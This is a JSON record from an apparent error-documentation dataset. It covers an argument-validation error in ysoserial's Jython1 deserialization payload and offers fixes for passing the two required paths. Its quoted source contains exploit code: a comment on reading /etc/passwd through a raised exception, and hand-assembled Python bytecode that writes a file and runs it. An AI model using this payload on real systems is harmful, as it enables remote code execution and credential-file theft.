{"record":{"id":"fa3199cb5aa63ebe","repo":"frohoff/ysoserial","slug":"unsupported-command-command-paths","errorCode":null,"errorMessage":"Unsupported command ${command} ${paths}","messagePattern":"Unsupported command (.+?) (.+?)","errorType":"validation","errorClass":"IllegalArgumentException","httpStatus":null,"severity":"error","filePath":"src/main/java/ysoserial/payloads/Jython1.java","lineNumber":52,"sourceCode":" *\n * raise Exception(open('/etc/passwd', 'r').read())\n *\n * Then, when deserialized, the script will read in /etc/passwd and raise an\n * exception with its contents (which could be useful if the target returns\n * exception information).\n */\n\n@PayloadTest(skip=\"non RCE\")\n@SuppressWarnings({ \"rawtypes\", \"unchecked\", \"restriction\" })\n@Dependencies({ \"org.python:jython-standalone:2.5.2\" })\n@Authors({ Authors.PWNTESTER, Authors.CSCHNEIDER4711 })\npublic class Jython1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {\n\n    public PriorityQueue getObject(String command) throws Exception {\n\n        String[] paths = command.split(\";\");\n        if (paths.length != 2) {\n            throw new IllegalArgumentException(\"Unsupported command \" + command + \" \" + Arrays.toString(paths));\n        }\n\n        // Set payload parameters\n        String python_code = FileUtils.readFileToString(new File(paths[0]), \"UTF-8\");\n\n        // Python bytecode to write a file on disk and execute it\n        String code =\n              \"740000\" + //0 LOAD_GLOBAL               0 (open)\n              \"640100\" + //3 LOAD_CONST                1 (remote path)\n              \"640200\" + //6 LOAD_CONST                2 ('w+')\n              \"830200\" + //9 CALL_FUNCTION             2\n              \"7D0000\" + //12 STORE_FAST               0 (file)\n\n              \"7C0000\" + //15 LOAD_FAST                0 (file)\n              \"690100\" + //18 LOAD_ATTR                1 (write)\n              \"640300\" + //21 LOAD_CONST               3 (python code)\n              \"830100\" + //24 CALL_FUNCTION            1\n              \"01\" +     //27 POP_TOP","sourceCodeStart":34,"sourceCodeEnd":70,"githubUrl":"https://github.com/frohoff/ysoserial/blob/218bcffcaaa904a4e392f0c15d9e2874533635a3/src/main/java/ysoserial/payloads/Jython1.java#L34-L70","documentation":"Jython1 payload expects the command to be exactly two ';'-separated paths: a local Python file to read and a destination path. getObject() throws this IllegalArgumentException when the split yields any count other than 2.","triggerScenarios":"Calling Jython1.getObject(command) with a command that splits on ';' into 1 or 3+ parts — e.g. only a script path, or an extra ';' accidentally left in a path.","commonSituations":"Forgetting the second path argument; Windows-style absolute paths containing characters users quote oddly; trailing semicolons from copy-paste.","solutions":["Pass exactly two semicolon-separated paths: '<python-script-file>;<output-dest-path>'","Remove any trailing or doubled semicolons in the command","Ensure the local Python script file exists and is readable"],"exampleFix":"// before\nnew Jython1().getObject(\"/tmp/payload.py;\");\n// after\nnew Jython1().getObject(\"/tmp/payload.py;/tmp/evil.py\");","handlingStrategy":"validation","validationCode":"String[] p = command.split(\";\"); if (p.length != 2) throw new IllegalArgumentException(\"expected <script-file>;<dest-path>\");","typeGuard":null,"tryCatchPattern":"try { q = new Jython1().getObject(cmd); } catch (IllegalArgumentException e) { usage(e.getMessage()); }","preventionTips":["Provide exactly two ';'-separated paths","Strip trailing semicolons from copied commands","Ensure the local Python file exists before generating"],"tags":["argument-parsing","ysoserial","jython"],"backgroundTag":"invalid-argument-format","analyzedSha":"218bcffcaaa904a4e392f0c15d9e2874533635a3","analyzedAt":"2026-09-12T01:53:58.488Z","contentChangedAt":"2026-09-12T01:53:58.488Z","schemaVersion":2},"datasetVersion":"2026-09-16T04:17:20.429Z"}